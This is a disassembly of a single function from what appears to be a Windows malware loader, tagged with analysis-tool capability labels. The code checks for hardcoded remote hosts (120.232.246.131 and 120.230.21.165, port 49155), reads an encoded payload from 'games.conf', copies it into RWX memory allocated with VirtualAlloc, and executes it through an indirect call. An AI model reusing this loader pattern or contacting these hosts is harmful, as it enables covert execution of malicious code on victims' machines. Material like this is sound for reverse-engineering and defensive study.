Function at 0x180001f78
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbp
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push r14
sub rsp, 0x580
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x18002b040]
xor rax, rsp
mov qword [rsp + 0x560], rax
mov edi, 0x104
lea rdx, [rsp + 0x140]
mov r8d, edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor r14d, r14d
test eax, eax
jne 0x180001fe8
lea r9d, [r14 + 0x10]
xor ecx, ecx
lea r8, str.ERROR
lea rdx, [0x180027cb0]
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, 0x5c
lea rcx, [rsp + 0x140]
mov edx, esi
call fcn.180004664
test rax, rax
je 0x180002005
mov word [rax], r14w
lea r9, [rsp + 0x140]
mov rdx, rdi
lea r8, str._s300hero.exe
lea rcx, [rsp + 0x350]
call fcn.18000105c
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x350]
call fcn.180001c98
lea rdx, str.49155
lea rcx, str.120.232.246.131
call fcn.180001d88
test eax, eax
je 0x1800021d3
lea rdx, [0x180027c7c]
lea rcx, [0x180027c58]
call fcn.180001d88
test eax, eax
je 0x1800021d3
lea rdx, str.49155
lea rcx, str.120.230.21.165
call fcn.180001d88
test eax, eax
je 0x1800021d3
lea rdx, [0x180001290]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredContinueHandler]
test rax, rax
jne 0x1800020b8
lea r9d, [rax + 0x10]
xor ecx, ecx
lea r8, str.ERROR
lea rdx, [0x180027ce8]
call qword [sym.imp.USER32.dll_MessageBoxW]
call fcn.180001834
test eax, eax
jne 0x1800020c6
call fcn.1800012b0
mov r8d, edi
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1800020f4
lea r9d, [rax + 0x10]
xor ecx, ecx
lea r8, [0x180027b94]
lea rdx, [0x180027d10]
call qword [sym.imp.USER32.dll_MessageBoxW]
mov edx, esi
lea rcx, [rsp + 0x30]
call fcn.18000118c
test rax, rax
je 0x180002108
mov byte [rax], r14b
lea r8, str.games.conf
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.18000ef44
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
call fcn.180001ad0
mov r9d, 0x40
mov r8d, 0x1000
xor ecx, ecx
movups xmm6, xmmword [rax]
movd eax, xmm6
movsxd rbp, eax
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
psrldq xmm6, 8
mov rdi, rax
test rax, rax
jne 0x18000217d
lea r9d, [rax + 0x10]
xor ecx, ecx
lea r8, [0x180027b94]
lea rdx, [0x180027d10]
call qword [sym.imp.USER32.dll_MessageBoxW]
movq rcx, xmm6
call fcn.18000eb18
lea rdx, [rbp + 0x400]
mov r9, rbp
movq r8, xmm6
mov rcx, rdi
call fcn.180001104
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x180001290]
call qword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
call rdi
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor r9d, r9d
lea r8, str.TEST
lea rdx, [0x180027d40]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, qword [rsp + 0x560]
xor rcx, rsp
call fcn.180002440
lea r11, [rsp + 0x580]
mov rbp, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r14
ret